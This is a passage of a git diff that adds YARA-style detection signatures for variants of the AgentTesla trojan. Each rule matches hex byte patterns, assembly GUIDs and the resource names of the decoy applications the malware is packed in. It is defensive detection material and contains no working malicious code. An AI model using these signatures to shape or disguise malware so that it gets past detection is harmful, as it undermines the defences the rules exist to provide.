00 01 00 00 00 04 00 00 00 06 00 00 00 14 00 00 00 22 00 00 00 0c 00 00 00 02 00 00 00 01 00 00 00 09 00 00 00 0a 00 00 00 06 00 00 00 02 } //1 + $a_81_1 = {32 35 39 30 65 33 35 64 2d 31 34 31 30 2d 34 39 34 65 2d 62 30 35 63 2d 37 34 62 37 62 63 38 32 61 64 32 32 } //1 2590e35d-1410-494e-b05c-74b7bc82ad22 + $a_81_2 = {69 6e 76 65 6e 74 72 79 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //1 inventry.Properties.Resources + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAV_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAV_MTB.yar new file mode 100644 index 0000000000..970aaf1b06 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAV_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_AgentTesla_RAV_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.RAV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 1d a2 09 09 0b 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 68 00 00 00 0e 00 00 00 2d 00 00 00 56 00 00 00 47 00 00 00 d6 00 00 00 07 00 00 00 3f 00 00 00 1c 00 00 00 07 00 00 00 0f 00 00 00 1a 00 00 00 15 00 00 00 01 00 00 00 06 00 00 00 02 00 00 00 03 00 00 00 07 } //1 + $a_81_1 = {36 30 65 37 38 31 37 34 2d 30 35 35 38 2d 34 66 65 65 2d 39 31 64 31 2d 37 64 33 65 34 31 31 31 63 33 39 62 } //1 60e78174-0558-4fee-91d1-7d3e4111c39b + $a_81_2 = {47 61 6d 65 46 6f 6f 64 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //1 GameFood.Properties.Resources + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAW_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAW_MTB.yar new file mode 100644 index 0000000000..c601be3d72 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAW_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_AgentTesla_RAW_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.RAW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_03_0 = {57 17 b6 09 09 0b 00 00 00 fa ?? 33 00 16 00 00 01 00 00 00 66 00 00 00 2b 00 00 00 0d 01 00 00 ?? ?? 00 00 cd 01 00 00 12 00 00 00 c3 00 00 00 5d 00 00 00 ?? 00 00 00 12 00 00 00 12 00 00 00 13 00 00 00 5b 00 00 00 d7 00 00 00 06 00 00 00 01 00 00 00 05 00 00 00 02 00 00 00 0b 00 00 00 01 } //1 + $a_81_1 = {53 74 6f 72 6d 43 61 73 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //1 StormCast.Properties.Resources + $a_81_2 = {67 65 74 5f 76 67 } //1 get_vg + condition: + ((#a_03_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAX_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAX_MTB.yar new file mode 100644 index 0000000000..d3a89e6a57 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAX_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_AgentTesla_RAX_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.RAX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 9d b6 09 09 0b 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 d6 00 00 00 23 00 00 00 af 02 00 00 20 02 00 00 83 02 00 00 97 01 00 00 0f 00 00 00 a0 01 00 00 01 00 00 00 47 00 00 00 02 00 00 00 08 00 00 00 09 00 00 00 4e 00 00 00 78 00 00 00 08 00 00 00 01 00 00 00 09 00 00 00 12 00 00 00 09 00 00 00 02 } //1 + $a_81_1 = {45 34 41 37 42 38 43 39 2d 44 32 46 35 2d 34 45 36 41 2d 38 42 39 43 2d 31 44 33 46 37 41 35 45 39 42 32 43 } //1 E4A7B8C9-D2F5-4E6A-8B9C-1D3F7A5E9B2C + $a_81_2 = {51 4c 4e 53 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //1 QLNS.Properties.Resources + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAY_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAY_MTB.yar new file mode 100644 index 0000000000..27394f0289 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAY_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_AgentTesla_RAY_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.RAY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 1d a2 09 09 0f 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 70 00 00 00 12 00 00 00 a1 00 00 00 5c 00 00 00 68 00 00 00 09 01 00 00 06 00 00 00 1c 00 00 00 1e 00 00 00 03 00 00 00 06 00 00 00 07 00 00 00 1c 00 00 00 01 00 00 00 07 00 00 00 04 00 00 00 06 00 00 00 08 00 00 00 05 } //1 + $a_81_1 = {32 34 32 31 32 37 66 61 2d 38 64 62 35 2d 34 37 65 38 2d 39 62 35 38 2d 30 39 31 39 32 63 37 31 34 37 34 35 } //1 242127fa-8db5-47e8-9b58-09192c714745 + $a_81_2 = {4f 79 75 6e 75 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //1 Oyunu.Properties.Resources + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAZ_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAZ_MTB.yar new file mode 100644 index 0000000000..d04fe9a659 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAZ_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_AgentTesla_RAZ_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.RAZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 3d a2 1d 09 01 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 5f 00 00 00 0d 00 00 00 35 00 00 00 3c 00 00 00 2d 00 00 00 aa 00 00 00 0b 00 00 00 30 00 00 00 01 00 00 00 0f 00 00 00 07 00 00 00 14 00 00 00 1e 00 00 00 02 00 00 00 06 00 00 00 03 00 00 00 01 00 00 00 07 00 00 00 02 } //1 + $a_81_1 = {67 65 74 5f 62 73 } //1 get_bs + $a_81_2 = {42 61 63 6b 45 6e 64 4c 69 62 72 61 72 79 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //1 BackEndLibrary.Properties.Resources + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RBA_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RBA_MTB.yar new file mode 100644 index 0000000000..c1410d1733 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RBA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_AgentTesla_RBA_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.RBA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 dd a2 29 09 0b 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 76 00 00 00 17 00 00 00 4a 00 00 00 47 00 00 00 62 00 00 00 b7 00 00 00 14 00 00 00 16 00 00 00 01 00 00 00 01 00 00 00 14 00 00 00 03 00 00 00 0a 00 00 00 0b 00 00 00 05 00 00 00 01 00 00 00 01 00 00 00 06 00 00 00 05 00 00 00 01 00 00 00 02 } //1 + $a_81_1 = {42 33 46 38 41 37 43 36 2d 44 35 45 34 2d 39 32 38 33 2d 41 31 37 36 2d 35 34 33 45 38 37 44 39 32 43 31 46 } //1 B3F8A7C6-D5E4-9283-A176-543E87D92C1F + $a_81_2 = {51 75 61 6e 4c 79 48 6f 63 53 69 6e 68 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //1 QuanLyHocSinh.Properties.Resources + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RBB_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RBB_MTB.yar new file mode 100644 index 0000000000..3bb0339a9b --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RBB_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_AgentTesla_RBB_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.RBB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 1d a2 09 09 0b 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 62 00 00 00 1a 00 00 00 ed 00 00 00 75 00 00 00 9c 00 00 00 a4 00 00 00 19 00 00 00 16 00 00 00 26 00 00 00 02 00 00 00 05 00 00 00 06 00 00 00 01 00 00 00 01 00 00 00 07 00 00 00 12 00 00 00 05 00 00 00 03 } //1 + $a_81_1 = {62 35 37 63 63 35 65 38 2d 34 30 36 36 2d 34 65 32 33 2d 39 32 35 33 2d 36 32 35 31 35 36 33 62 36 64 66 39 } //1 b57cc5e8-4066-4e23-9253-6251563b6df9 + $a_81_2 = {50 68 61 72 6d 61 63 79 50 72 6f 6a 65 63 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //1 PharmacyProject.Properties.Resources + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RBC_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RBC_MTB.yar new file mode 100644 index 0000000000..26083157a4 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RBC_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_AgentTesla_RBC_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.RBC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 9f a2 2b 09 0f 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 cd 00 00 00 2f 00 00 00 7c 01 00 00 6b 02 00 00 fd 01 00 00 06 00 00 00 20 04 00 00 06 00 00 00 e5 01 00 00 02 00 00 00 93 00 00 00 17 00 00 00 12 01 00 00 4e 01 00 00 02 00 00 00 b4 00 00 00 02 00 00 00 01 00 00 00 06 00 00 00 02 00 00 00 0f 00 00 00 d2 00 00 00 35 } //1 + $a_81_1 = {61 39 62 33 61 32 36 37 2d 66 65 63 35 2d 34 64 32 34 2d 38 63 32 30 2d 32 61 62 38 34 31 64 36 65 63 37 34 } //1 a9b3a267-fec5-4d24-8c20-2ab841d6ec74 + $a_81_2 = {41 6e 61 6c 79 7a 65 47 72 61 70 68 69 63 73 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //1 AnalyzeGraphics.Properties.Resources + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RPI_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RPI_MTB.yar index b1e158f92f..959cc2c6e1 100644 --- a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RPI_MTB.yar +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RPI_MTB.yar @@ -28,31 +28,4 @@ rule Trojan_BAT_AgentTesla_RPI_MTB_2{ condition: ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=6 -} -rule Trojan_BAT_AgentTesla_RPI_MTB_3{ - meta: - description = "Trojan:BAT/AgentTesla.RPI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,1b 00 1b 00 12 00 00 " - - strings : - $a_01_0 = {00 00 00 00 02 00 00 01 57 94 02 28 09 02 00 00 00 fa 25 33 00 16 00 00 } //10 - $a_01_1 = {46 69 6c 65 53 74 72 65 61 6d } //1 FileStream - $a_01_2 = {67 65 74 5f 4c 65 6e 67 74 68 } //1 get_Length - $a_01_3 = {47 65 74 46 69 6c 65 73 } //1 GetFiles - $a_01_4 = {47 65 74 44 69 72 65 63 74 6f 72 69 65 73 } //1 GetDirectories - $a_01_5 = {4d 61 72 73 68 61 6c } //1 Marshal - $a_01_6 = {53 79 73 74 65 6d 2e 54 65 78 74 } //1 System.Text - $a_01_7 = {45 6e 63 6f 64 69 6e 67 } //1 Encoding - $a_01_8 = {47 65 74 53 74 72 69 6e 67 } //1 GetString - $a_01_9 = {45 6e 76 69 72 6f 6e 6d 65 6e 74 } //1 Environment - $a_01_10 = {53 70 65 63 69 61 6c 46 6f 6c 64 65 72 } //1 SpecialFolder - $a_01_11 = {49 6e 69 74 69 61 6c 69 7a 65 41 72 72 61 79 } //1 InitializeArray - $a_01_12 = {53 70 6c 69 74 } //1 Split - $a_01_13 = {43 6f 6e 63 61 74 } //1 Concat - $a_01_14 = {67 65 74 5f 41 53 43 49 49 } //1 get_ASCII - $a_01_15 = {67 65 74 5f 55 6e 69 63 6f 64 65 } //1 get_Unicode - $a_01_16 = {52 65 6d 6f 76 65 } //1 Remove - $a_01_17 = {56 61 6c 75 65 54 79 70 65 } //1 ValueType - condition: - ((#a_01_0 & 1)*10+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1) >=27 - } \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RP_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RP_MTB.yar index 23847e0f26..e95a13a3b7 100644 --- a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RP_MTB.yar +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RP_MTB.yar @@ -166,6 +166,16 @@ rule Trojan_BAT_AgentTesla_RP_MTB_16{ } rule Trojan_BAT_AgentTesla_RP_MTB_17{ + meta: + description = "Trojan:BAT/AgentTesla.RP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {73 14 00 00 06 73 18 00 00 06 28 12 00 00 06 72 ?? 00 00 70 72 ?? 00 00 70 73 1b 00 00 06 6f 12 00 00 06 72 ?? 00 00 70 72 ?? 00 00 70 73 1f 00 00 06 6f 12 00 00 06 11 02 11 00 6f ?? 00 00 0a } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} +rule Trojan_BAT_AgentTesla_RP_MTB_18{ meta: description = "Trojan:BAT/AgentTesla.RP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 00 " diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RSQ_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RSQ_MTB.yar new file mode 100644 index 0000000000..8adc53f70b --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RSQ_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_AgentTesla_RSQ_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.RSQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 1d a2 09 09 0b 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 72 00 00 00 10 00 00 00 5b 00 00 00 7c 00 00 00 82 00 00 00 d3 00 00 00 07 00 00 00 1d 00 00 00 28 00 00 00 07 00 00 00 18 00 00 00 20 00 00 00 02 00 00 00 01 00 00 00 06 00 00 00 03 00 00 00 01 00 00 00 03 } //1 + $a_81_1 = {35 61 36 35 39 37 38 31 2d 36 35 61 37 2d 34 39 64 39 2d 39 38 34 36 2d 32 37 32 64 38 36 61 38 66 34 62 30 } //1 5a659781-65a7-49d9-9846-272d86a8f4b0 + $a_81_2 = {43 61 6c 63 75 6c 61 64 6f 72 61 54 50 } //1 CalculadoraTP + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RSR_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RSR_MTB.yar new file mode 100644 index 0000000000..9da290e1fb --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RSR_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_AgentTesla_RSR_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.RSR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 9d b6 29 09 0b 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 8f 00 00 00 12 00 00 00 40 00 00 00 75 00 00 00 54 00 00 00 e5 00 00 00 05 00 00 00 a7 00 00 00 01 00 00 00 24 00 00 00 01 00 00 00 04 00 00 00 06 00 00 00 12 00 00 00 1f 00 00 00 03 00 00 00 01 00 00 00 01 00 00 00 08 00 00 00 07 00 00 00 06 00 00 00 01 } //1 + $a_81_1 = {62 62 39 63 35 34 34 62 2d 64 31 61 38 2d 34 33 33 30 2d 38 30 38 62 2d 35 37 36 36 32 38 31 33 37 33 35 61 } //1 bb9c544b-d1a8-4330-808b-57662813735a + $a_81_2 = {4d 61 74 68 69 7a 7a 5f 5f 4d 61 74 68 73 } //1 Mathizz__Maths + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RSS_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RSS_MTB.yar new file mode 100644 index 0000000000..f9ebddbfe1 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RSS_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_BAT_AgentTesla_RSS_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.RSS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " + + strings : + $a_81_0 = {57 9d a2 3d 09 0f 00 00 00 fa 25 33 00 16 00 00 01 00 00 00 a3 00 00 00 2b 00 00 00 d5 00 00 00 c5 01 00 00 7e 00 00 00 31 01 00 00 60 00 00 00 60 00 00 00 02 00 00 00 3a 00 00 00 07 00 00 00 18 00 00 00 2b 00 00 00 01 00 00 00 06 00 00 00 01 00 00 00 03 00 00 00 01 00 00 00 08 00 00 00 02 00 00 00 0b 00 00 00 06 00 00 00 09 } //1 + $a_81_1 = {57 9d a2 3d 09 0f 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 a0 00 00 00 21 00 00 00 aa 00 00 00 88 00 00 00 7e 00 00 00 25 01 00 00 60 00 00 00 60 00 00 00 01 00 00 00 2d 00 00 00 07 00 00 00 18 00 00 00 2b 00 00 00 01 00 00 00 06 00 00 00 01 00 00 00 02 00 00 00 01 00 00 00 08 00 00 00 02 00 00 00 01 00 00 00 01 00 00 00 04 } //1 + $a_81_2 = {62 33 65 30 36 65 31 38 2d 37 62 31 39 2d 34 62 65 65 2d 62 38 65 61 2d 33 33 34 35 62 66 62 61 38 35 39 31 } //2 b3e06e18-7b19-4bee-b8ea-3345bfba8591 + $a_81_3 = {4d 61 63 55 49 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 } //2 MacUI.Properties.Resources.resources + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*2+(#a_81_3 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RST_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RST_MTB.yar new file mode 100644 index 0000000000..d3c6d759ba --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RST_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_AgentTesla_RST_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.RST!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_81_0 = {57 95 a2 29 09 0f 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 66 00 00 00 17 00 00 00 4d 00 00 00 59 00 00 00 44 00 00 00 ca 00 00 00 31 00 00 00 01 00 00 00 1d 00 00 00 05 00 00 00 0a 00 00 00 0b 00 00 00 23 00 00 00 01 00 00 00 01 00 00 00 06 00 00 00 09 00 00 00 03 00 00 00 06 00 00 00 0d } //1 + $a_81_1 = {30 63 33 66 62 39 30 62 2d 39 65 32 36 2d 34 63 36 32 2d 39 37 35 62 2d 65 34 32 31 30 30 36 34 63 39 64 30 } //1 0c3fb90b-9e26-4c62-975b-e4210064c9d0 + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RSU_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RSU_MTB.yar new file mode 100644 index 0000000000..df1e29c25e --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RSU_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_AgentTesla_RSU_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.RSU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 95 a2 29 09 0b 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 5c 00 00 00 21 00 00 00 6f 00 00 00 0d 01 00 00 eb 00 00 00 b0 00 00 00 17 00 00 00 01 00 00 00 44 00 00 00 0d 00 00 00 41 00 00 00 7f 00 00 00 0c 00 00 00 01 00 00 00 01 00 00 00 06 00 00 00 02 00 00 00 01 00 00 00 07 } //1 + $a_81_1 = {31 62 38 38 37 65 62 61 2d 31 31 61 33 2d 34 62 66 36 2d 38 65 31 66 2d 30 64 63 63 33 37 62 65 34 31 37 63 } //1 1b887eba-11a3-4bf6-8e1f-0dcc37be417c + $a_81_2 = {45 4e 45 54 43 61 72 65 44 61 74 61 } //1 ENETCareData + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RSV_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RSV_MTB.yar new file mode 100644 index 0000000000..9d0ec59fc2 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RSV_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_AgentTesla_RSV_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.RSV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 95 a2 29 09 0b 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 6a 00 00 00 0b 00 00 00 3d 00 00 00 34 00 00 00 3e 00 00 00 ad 00 00 00 17 00 00 00 01 00 00 00 16 00 00 00 02 00 00 00 04 00 00 00 05 00 00 00 06 00 00 00 01 00 00 00 01 00 00 00 06 00 00 00 05 00 00 00 01 00 00 00 02 } //1 + $a_81_1 = {64 34 66 66 32 33 30 38 2d 35 62 39 32 2d 34 39 61 61 2d 62 33 37 61 2d 65 65 34 34 30 36 62 61 62 64 35 30 } //1 d4ff2308-5b92-49aa-b37a-ee4406babd50 + $a_81_2 = {45 78 74 72 61 43 72 65 64 69 74 41 73 73 } //1 ExtraCreditAss + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RSW_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RSW_MTB.yar new file mode 100644 index 0000000000..2b5214d38a --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RSW_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_AgentTesla_RSW_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.RSW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 95 a2 29 09 0b 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 9b 00 00 00 11 00 00 00 95 00 00 00 86 00 00 00 8e 00 00 00 2c 01 00 00 40 00 00 00 01 00 00 00 2c 00 00 00 05 00 00 00 0b 00 00 00 11 00 00 00 0e 00 00 00 01 00 00 00 01 00 00 00 08 00 00 00 05 00 00 00 01 00 00 00 03 } //1 + $a_81_1 = {31 65 30 65 64 66 30 35 2d 30 39 62 33 2d 34 61 61 61 2d 62 33 39 33 2d 37 65 64 35 31 63 30 36 34 65 39 39 } //1 1e0edf05-09b3-4aaa-b393-7ed51c064e99 + $a_81_2 = {53 74 75 64 65 6e 74 5f 48 6f 75 73 69 6e 67 } //1 Student_Housing + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RSX_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RSX_MTB.yar new file mode 100644 index 0000000000..79c77d3862 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RSX_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_AgentTesla_RSX_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.RSX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 9f b6 2b 09 0b 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 6c 00 00 00 15 00 00 00 3b 00 00 00 5a 00 00 00 3f 00 00 00 0b 00 00 00 be 00 00 00 03 00 00 00 46 00 00 00 01 00 00 00 13 00 00 00 03 00 00 00 03 00 00 00 07 00 00 00 12 00 00 00 27 00 00 00 0a 00 00 00 0f 00 00 00 01 00 00 00 01 00 00 00 06 00 00 00 02 00 00 00 08 00 00 00 12 } //1 + $a_81_1 = {64 37 37 32 35 62 35 64 2d 32 31 66 64 2d 34 64 61 64 2d 38 36 35 32 2d 34 36 37 38 63 32 37 61 65 30 36 38 } //1 d7725b5d-21fd-4dad-8652-4678c27ae068 + $a_81_2 = {43 6f 6d 6d 6f 6e 50 72 61 63 74 69 63 65 } //1 CommonPractice + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RSY_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RSY_MTB.yar new file mode 100644 index 0000000000..e9e71fbd27 --- /dev/null +++ 